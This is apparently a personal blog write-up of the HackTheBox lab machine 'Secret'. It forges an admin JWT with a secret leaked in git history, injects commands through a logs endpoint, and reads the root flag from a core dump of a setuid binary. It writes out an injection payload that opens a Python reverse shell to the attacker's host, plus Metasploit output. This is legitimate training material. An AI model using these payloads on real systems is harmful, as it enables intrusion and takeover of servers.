H3dg3h0g's Blog
    H3dg3h0g's Blog

    Search

    Pentesting Guide and Notes

    Certification Reviews

    Writeups

    Secret Writeup (Using Snyk !)

    Secret Writeup (Using Snyk !)

    User Flag

    Lets first download the website’s source code with the Dowload source code button on the home page of the website.

    In routes/private.js, we get the admin username :

    router.get('/priv', verifytoken, (req, res) => {
    	// res.send(req.user)
    
    	const userinfo = { name: req.user }
    
    	const name = userinfo.name.name;
    
    	if (name == 'theadmin'){
    		res.json({
    			creds:{
    				role:"admin",
    		   		username:"theadmin",
    		   		desc : "welcome back admin,"
    			}
    		})
    	}
    routes/private.js

    Further in the same file, we have what looks like a RCE :

    router.get('/logs', verifytoken, (req, res) => {
    	const file = req.query.file;
    	const userinfo = { name: req.user }
    	const name = userinfo.name.name;
    
    	if (name == 'theadmin'){
    		const getLogs = `git log --oneline ${file}`;
    		exec(getLogs, (err , output) =>{
    			if(err){
    				res.status(500).send(err);
    				return
    			}
    			res.json(output);
    		})
    	}
    routes/private.js

    By changing the value of the file argument, we might be able to execute code on the server. To use this feature, we need to get admin access.

    In the routes/auth.js file, we see how the JWT is made :

    // create jwt
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);
    routes/auth.js

    Finally, in the .env file, we see the value of the DB_CONNECT and the TOKEN_SECRET environment variables.

    Since this is a code review box, I thought it would be the perfect occasion to test something that I wanted to test for a while now : Snyk Code.

    Snyk Code is a code review tool that automatically analyzes your source code and finds vulnerabilities (also it’s free 😉).

    Snyk Code output

    While, in the context of HTB, Snyk didn’t find any new information that would help us to get the user flag (I believe the RCE is the only useful thing here), in the context of a pentest, this information would’ve saved me a lot of time. Particularly with the lower hanging fruits like XSS that can sometimes take a lot of precious time to test. Next time I have a whitebox pentest, I’ll definitely use Snyk.

    With that said, I find odd that the RCE vulnerability is only classified as High and not as Critical, but, of course, Snyk can’t understand the context of the application (attack complexity, privilege required, etc.).

    With that done, time to find a way to get admin access. I started by trying to create a user with

    Register request

    I then logged in using

    Login request

    Which returned

    Login answer

    After receiving the newly generated JWT, I verified it (using cyberchef) to see if the secret used really was “secret”, and it wasn’t.

    I then tried to brute force it (using jwt-secret) but couldn’t get any result.

    ┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
    └──╼ $jwt-secret --file /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
    
    
        no secret found
    JWT secret brute force

    After those 2 failed attempts, I decided to take a look at the .git history to see if the secret had leaked in the commits.

    Git history

    And it looks like the devs did leak some info in a commit. Let’s take a look at it.

    TOKEN_SECRET leaked in the git history

    Let’s verify (using cyberchef) if it is indeed the secret used to sign the JWTs.

    And it is !

    We can now craft a new JWT with the username set as theadmin to access the admin features.

    Using cyberchef, we can generate a new JWT and access the /api/priv page.

    Request using the crafted JWT
    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: application/json; charset=utf-8
    Content-Length: 76
    ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
    Date: Wed, 29 Dec 2021 14:10:15 GMT
    Connection: close
    
    {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
    Answer to the crafted JWT

    Finally, let’s exploit the RCE that we spotted earlier.

    Using id, we can see who runs the webserver.

    RCE by adding && [command] to the file argument
    uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
    Answer to the id command

    A lot of reverse shells I tried didn’t work, but when I tried with a python one it did. It looked like the user couldn’t execute certain commands...

    Sending a python reverse shell

    With metasploit’s /exploit/multi/handler, I was able to catch a reverse shell.

    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 10.10.14.161:4444 
    [*] Command shell session 1 opened (10.10.14.161:4444 -> 10.129.167.28:39610) at 2021-12-29 10:42:42 -0500
    
    
    Shell Banner:
    $
    -----
              
    
    $
    Metasploit catches the reverse shell back

    Root Flag

    The privesc part was hard to find (at least for me). But, after running linpeas for the fifth time, something finally caught my attention :

    Program in /opt that we can run as root

    The setuid permission means we can run whatever this is as root. Let’s take a closer look at this.

    dasith@secret:/opt$ ll
    total 56
    drwxr-xr-x  2 root root  4096 Oct  7 10:06 ./
    drwxr-xr-x 20 root root  4096 Oct  7 15:01 ../
    -rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
    -rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
    -rwsr-xr-x  1 root root 17824 Oct  7 10:03 count*
    -rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log
    /opt directory

    After looking at the source code and executing the program, it looks like it opens a file and counts the number of characters in it.

    I then looked at the valgrind man page, because I wasn’t familiar with this program, and it looks like some sort of debugger for executables. Maybe we can use it to access what the count program loads in memory when it reads a file. That way, we might be able to read some files like /root/.ssh/id_rsa or simply /root/root.txt.

    dasith@secret:/opt$ valgrind ./count
    ==125171== 
    ==125171== Warning: Can't execute setuid/setgid/setcap executable: ./count
    ==125171== Possible workaround: remove --trace-children=yes, if in effect
    ==125171== 
    valgrind: ./count: Permission denied
    dasith@secret:/opt$
    Attempting to debug the count program using valgrind

    It looks like valgrind can’t debug executables with setuid.

    After looking around the internet for an answer, I stumbled upon this stackoverflow post that basically described how hard it is to get valgrind to run a setuid executable. After a lot of tries, it really looked like valgrind just would not run our program. Time to try something else.

    I decided to take a look at the content of the /opt/valgrind.log.

    /opt/valgrind.log

    It looks like valgrind is already running every time we execute the count program !(?)

    Now we need to find a way to dump it’s memory.

    After reading the code in /opt/count.c, I noticed this.

    The program has core dump generation enabled

    After looking at the prctl man page, it looks like this feature dumps the program’s memory.

    PR_SET_DUMPABLE (since Linux 2.3.20) Set the state of the "dumpable" attribute, which determines whether core dumps are produced for the calling process upon delivery of a signal whose default behavior is to produce a core dump. In kernels up to and including 2.6.12, arg2 must be either 0 (SUID_DUMP_DISABLE, process is not dumpable) or 1 (SUID_DUMP_USER, process is dumpable).

    Now we might be onto something. We just need to trigger this dump, probably when the program asks if we want to save the result, while it still has the file in memory.

    After a small bit of research, I found that core dumps are generated when a program crashes.

    Core dumps are triggered by the kernel in response to program crashes

    I then started a second terminal to kill the process and hopefully trigger a core dump.

    dasith@secret:/opt$ ./count     
    Enter source file/directory name: /root/root.txt
    
    Total characters = 33
    Total words      = 2
    Total lines      = 2
    Save results a file? [y/N]:
    Terminal 1 : Running the program
    dasith@secret:/opt$ ./count     
    ./count
    Enter source file/directory name: /root/root.txt
    /root/root.txt
    
    Total characters = 33
    Total words      = 2
    Total lines      = 2
    Save results a file? [y/N]: Segmentation fault (core dumped)
    dasith@secret:/opt$
    Terminal 1 : The process has been killed, hopefully triggering a core dump
    dasith@secret:/opt$ ps -A
    
    [...]
    
    	1396 ?        00:00:00 python3
      1397 pts/1    00:00:00 sh
      1398 pts/1    00:00:00 bash
      1407 pts/0    00:00:00 count
      1409 ?        00:00:00 kworker/u2:0-events_power_efficient
      1411 pts/1    00:00:00 ps
    Terminal 2 : Listing the running processes
    dasith@secret:/opt$ kill -11 1407
    Terminal 2 : Killing the process

    Now, the core dump should be in /var/lib/systemd/coredump. Aaanndd it’s empty.

    Luckily I found this stackoverflow post that says that sometimes, core dumps end up in /var/crash instead, and there was in fact a dump there !

    dasith@secret:/var/crash$ ls
    _opt_count.1000.crash
    Content of the /var/crash directory

    Finally, to read the .crash file, we can use apport-unpack.

    dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ~/count

    And using a skill that I developed after years of CTF

    dasith@secret:~/count$ strings * | grep -E '[a-z0-9]{32}'
    **********************
    ┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
    └──╼ $snyk code test
    
    Testing /home/h3dg3h0g/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web ...
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 521
    Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 565
    Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 562
    Info: MD5 hash (used in hexMD5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 587
    Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 589
    Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Use of Password Hash With Insufficient Computational Effort
    Path: public/assets/fontawesome/js/conflict-detection.js, line 592
    Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm (e.g. SHA256).
    
    ✗ [Medium] Allocation of Resources Without Limits or Throttling
    Path: routes/private.js, line 32
    Info: This endpoint handler performs a system command execution and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.
    
    ✗ [Medium] Allocation of Resources Without Limits or Throttling
    Path: src/routes/web.js, line 5
    Info: This endpoint handler performs a file system operation and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.
    
    ✗ [Medium] Allocation of Resources Without Limits or Throttling
    Path: src/routes/web.js, line 10
    Info: This endpoint handler performs a file system operation and does not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit.
    
    ✗ [Medium] Information Exposure
    Path: index.js, line 2
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers.
    
    ✗ [Medium] Open Redirect
    Path: public/assets/plugins/simplelightbox/simple-lightbox.js, line 1084
    Info: Unsanitized input from the document location flows into replace, where it is used as an URL to redirect the user. This may result in an Open Redirect vulnerability.
    
    ✗ [Medium] Open Redirect
    Path: public/assets/plugins/simplelightbox/simple-lightbox.modules.js, line 1082
    Info: Unsanitized input from the document location flows into replace, where it is used as an URL to redirect the user. This may result in an Open Redirect vulnerability.
    
    ✗ [Medium] Information Exposure
    Path: routes/private.js, line 41
    Info: An error object flows to send and is leaked to the attacker. This may disclose important information about the application to an attacker.
    
    ✗ [Medium] Cross-Site Request Forgery (CSRF)
    Path: index.js, line 2
    Info: Consider using csurf middleware for your Express app to protect against CSRF attacks.
    
    ✗ [High] Regular Expression Denial of Service (ReDoS)
    Path: public/assets/fontawesome/js/fontawesome.js, line 1376
    Info: Unsanitized user input from an exception flows into RegExp, where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).
    
    ✗ [High] Regular Expression Denial of Service (ReDoS)
    Path: public/assets/fontawesome/js/fontawesome.js, line 1380
    Info: Unsanitized user input from an exception flows into match, where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).
    
    ✗ [High] Cross-site Scripting (XSS)
    Path: routes/auth.js, line 63
    Info: Unsanitized input from the HTTP request body flows into send, where it is used to render an HTML page returned to the user. This may result in a Cross-Site Scripting attack (XSS).
    
    ✗ [High] Cross-site Scripting (XSS)
    Path: public/assets/fontawesome/js/fontawesome.js, line 630
    Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).
    
    ✗ [High] Cross-site Scripting (XSS)
    Path: public/assets/fontawesome/js/fontawesome.js, line 1397
    Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).
    
    ✗ [High] Cross-site Scripting (XSS)
    Path: public/assets/fontawesome/js/fontawesome.js, line 2190
    Info: Unsanitized input from an exception flows into innerHTML, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS).
    
    ✗ [High] Command Injection
    Path: routes/private.js, line 39
    Info: Unsanitized input from an HTTP parameter flows into exec, where it is used to build a shell command. This may result in a Command Injection vulnerability.
    
    
    ✔ Test completed
    
    Organization:      undefined
    Test type:         Static code analysis
    Project path:      /home/h3dg3h0g/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web
    
    21 Code issues found
    7 [High]  14 [Medium]
    POST /api/user/register HTTP/1.1
    Host: 10.129.167.28
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    If-None-Match: W/"50f0-RKvUrC7mXaVbiUKK+AbBOImlNFI"
    Connection: close
    Content-Type: application/json
    Content-Length: 85
    
      {
    		"name": "username",
    		"email": "email@email.com",
    		"password": "password"
      }
    POST /api/user/login HTTP/1.1
    Host: 10.129.167.28
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    If-None-Match: W/"50f0-RKvUrC7mXaVbiUKK+AbBOImlNFI"
    Connection: close
    Content-Type: application/json
    Content-Length: 64
    
      {
    		"email": "email@email.com",
    		"password": "password"
      }
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Wed, 29 Dec 2021 12:38:38 GMT
    Content-Type: text/html; charset=utf-8
    Connection: close
    X-Powered-By: Express
    auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
    ETag: W/"d0-wguxs5KKayL+cqmK7+RwflPDBTU"
    Content-Length: 208
    
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
    ┌─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
    └──╼ $git log --pretty=oneline
    e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master) now we can view logs from server 😃
    67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 removed .env for security reasons
    de0a46b5107a2f4d26e348303e76d85ae4870934 added /downloads
    4e5547295cfe456d8ca7005cb823e1101fd1f9cb removed swap
    3a367e735ee76569664bf7754eaaade7c735d702 added downloads
    55fe756a29268f9b4e786ae468952ca4a8df1bd8 first commit
    ┌─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
    └──╼ $git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
    commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
    Author: dasithsv <dasithsv@gmail.com>
    Date:   Fri Sep 3 11:30:17 2021 +0530
    
        removed .env for security reasons
    
    diff --git a/.env b/.env
    index fb6f587..31db370 100644
    --- a/.env
    +++ b/.env
    @@ -1,2 +1,2 @@
     DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
    -TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
    +TOKEN_SECRET = secret
    GET /api/priv HTTP/1.1
    Host: 10.129.167.28:3000
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Connection: close
    auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
    GET /api/logs?file=./+%26%26+id HTTP/1.1
    Host: 10.129.167.28:3000
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Connection: close
    auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
    Content-Length: 0
    GET /api/logs?file=./+%26%26+python3+-c+'import+socket,os,pty%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.161",4444))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bpty.spawn("/bin/sh")' HTTP/1.1
    Host: 10.129.167.28:3000
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Connection: close
    auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.84yf8EtdRc_ab7EMBTw1PM0er_-MpQ5Ww9QaDC4cjtw
    Content-Length: 0
    dasith@secret:~$ ./linpeas.sh
    
    [...]
    
    ═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
                                             ╚═══════════════════╝
    ╔══════════╣ SUID - Check easy privesc, exploits and write perms
    ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
    
    [...]
    
    -rwsr-xr-x 1 root root 18K Oct  7 10:03 /opt/count (Unknown SUID binary)
    
    [...]
    dasith@secret:/opt$ cat valgrind.log
    ==2635== Memcheck, a memory error detector
    ==2635== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
    ==2635== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
    ==2635== Command: ./count
    ==2635== 
    Enter source file/directory name: 
    Total characters = 224
    Total words      = 31
    Total lines      = 10
    Save results a file? [y/N]: ==2635== 
    ==2635== HEAP SUMMARY:
    ==2635==     in use at exit: 728 bytes in 2 blocks
    ==2635==   total heap usage: 5 allocs, 3 frees, 9,944 bytes allocated
    ==2635== 
    ==2635== 256 bytes in 1 blocks are definitely lost in loss record 1 of 2
    ==2635==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
    ==2635==    by 0x109918: filecount (in /opt/count)
    ==2635==    by 0x1099FD: main (in /opt/count)
    ==2635== 
    ==2635== 472 bytes in 1 blocks are still reachable in loss record 2 of 2
    ==2635==    at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
    ==2635==    by 0x48D8AAD: __fopen_internal (iofopen.c:65)
    ==2635==    by 0x48D8AAD: fopen@@GLIBC_2.2.5 (iofopen.c:86)
    ==2635==    by 0x109879: filecount (in /opt/count)
    ==2635==    by 0x1099FD: main (in /opt/count)
    ==2635== 
    ==2635== LEAK SUMMARY:
    ==2635==    definitely lost: 256 bytes in 1 blocks
    ==2635==    indirectly lost: 0 bytes in 0 blocks
    ==2635==      possibly lost: 0 bytes in 0 blocks
    ==2635==    still reachable: 472 bytes in 1 blocks
    ==2635==         suppressed: 0 bytes in 0 blocks
    ==2635== 
    ==2635== For lists of detected and suppressed errors, rerun with: -s
    ==2635== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
    int main()
    {
        char path[100];
        int res;
        struct stat path_s;
        char summary[4096];
    
        printf("Enter source file/directory name: ");
        scanf("%99s", path);
        getchar();
        stat(path, &path_s);
        if(S_ISDIR(path_s.st_mode))
            dircount(path, summary);
        else
            filecount(path, summary);
    
        // drop privs to limit file write
        setuid(getuid());
        // Enable coredump generation
        prctl(PR_SET_DUMPABLE, 1);
        printf("Save results a file? [y/N]: ");
        res = getchar();
        if (res == 121 || res == 89) {
            printf("Path: ");
            scanf("%99s", path);
            FILE *fp = fopen(path, "a");
            if (fp != NULL) {
                fputs(summary, fp);
                fclose(fp);
            } else {
                printf("Could not open %s for writing\n", path);
            }
        }
    
        return 0;
    }